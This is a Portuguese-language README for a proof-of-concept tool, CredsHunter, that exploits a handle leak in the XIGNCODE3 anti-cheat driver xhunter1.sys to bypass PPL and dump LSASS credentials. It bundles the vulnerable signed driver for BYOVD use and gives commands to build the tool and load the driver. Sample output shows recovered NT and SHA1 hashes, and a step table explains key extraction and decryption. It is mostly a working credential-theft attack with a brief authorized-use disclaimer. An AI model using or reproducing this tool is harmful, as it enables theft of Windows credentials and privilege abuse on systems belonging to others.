
PoC para CVE-2026-3609 - vazamento de handle em XIGNCODE3 xhunter1.sys permitindo bypass de PPL e dumping de LSASS
Prova de conceito de dump de credenciais do LSASS para um vazamento de handle de processo que contorna PPL no driver anti-cheat XIGNCODE3 da Wellbia, xhunter1.sys.
O driver expõe uma interface de comando IRP_MJ_WRITE que chama ObOpenObjectByPointer com AccessMode = KernelMode e sem OBJ_KERNEL_HANDLE, depositando um handle PROCESS_ALL_ACCESS emitido pelo kernel diretamente na tabela de handles do chamador. A partir daí, o código padrão de dump de credenciais lê a chave 3DES de lsasrv.dll no alvo e recupera hashes NTLM + SHA1 para cada sessão de logon ativa.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
O driver assinado vulnerável está incluído neste repositório (xhunter1.sys) para que o exploit seja reproduzível de ponta a ponta. Verifique o hash antes de carregar:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Versões mais recentes do XIGNCODE3 estão corrigidas. O binário assinado vulnerável continua utilizável como primitiva BYOVD em qualquer host em que possa ser inserido e carregado.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
O binário da versão release é colocado em target\release\CredsHunter.exe.
Carregue o driver incluído como um serviço de kernel (o DACL do dispositivo do driver permite qualquer chamador depois que ele está em execução):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Execute a ferramenta:
.\target\release\CredsHunter.exe
Para limpar depois:
sc stop xhunter
sc delete xhunter
O nome padrão do dispositivo é \\.\xhunter (correspondendo ao nome de serviço de exemplo acima). Se o seu serviço usar um nome diferente, o caminho do dispositivo acompanhará esse nome — edite driver::DEFAULT_DEVICE ou chame Xhunter::open_named de acordo.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
A trait MemReader abstrai leituras de memória para que os módulos de extração de credenciais não dependam da primitiva específica do driver. Implemente a trait em um leitor diferente (ex.: runtime de Beacon Object File, leitor de memória física baseado em ptwalk) e os módulos lsa / logon / wdigest são plugados sem alterações.
48 3B D9 74) herdado do PoC público original e não foi atualizada para o Windows 11 build 26100+. Expandir isso para uma tabela por build é simples; PRs são bem-vindos.xhunter. Se você carregar o driver com um nome diferente, edite driver::DEFAULT_DEVICE ou passe uma substituição para Xhunter::open_named.Apenas para pesquisa, testes autorizados e ferramentas defensivas. Carregar o driver vulnerável em um sistema que você não possui ou sem permissão explícita para testar é crime na maioria das jurisdições. O autor não aceita nenhuma responsabilidade pelo uso indevido.
Consulte LICENSE.
| Etapa | Componente | O que acontece |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — sem autenticação no dispositivo |
| 2 | driver.rs → Xhunter::open_process | WriteFile com o comando 785 (PID, PROCESS_ALL_ACCESS). O driver chama ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) e grava o handle de volta no buffer de resposta do usuário em +0x10. O handle contorna o PPL porque AccessMode = KernelMode ignora a verificação de acesso, e ele cai na nossa tabela de handles porque OBJ_KERNEL_HANDLE não está definido. |
| 3 | driver.rs → Session::attach | Testa ReadProcessMemory contra o handle emitido pelo kernel. Recorre ao comando 787 do driver (KeStackAttachProcess + memcpy) se o RPM estiver bloqueado. |
| 4 | lsa.rs | Faz varredura de padrões no .text de lsasrv.dll local para recuperar ponteiros relativos a RIP para a chave AES, a chave 3DES e o IV dentro de LsaInitializeProtectedMemory. Converte esses VAs para o mapeamento do alvo, percorre BCRYPT_HANDLE_KEY → BCRYPT_KEY81 e extrai os bytes 3DES brutos do alvo. |
| 5 | logon.rs | Percorre LogonSessionList (tabela de assinaturas por build). A credencial primária de cada entrada em +credentials → +0x10 → +0x30 contém um blob criptografado com 3DES de 0x1B0 bytes. bcrypt.dll o descriptografa; os bytes 70..86 são o hash NT e 102..122 são o SHA1. |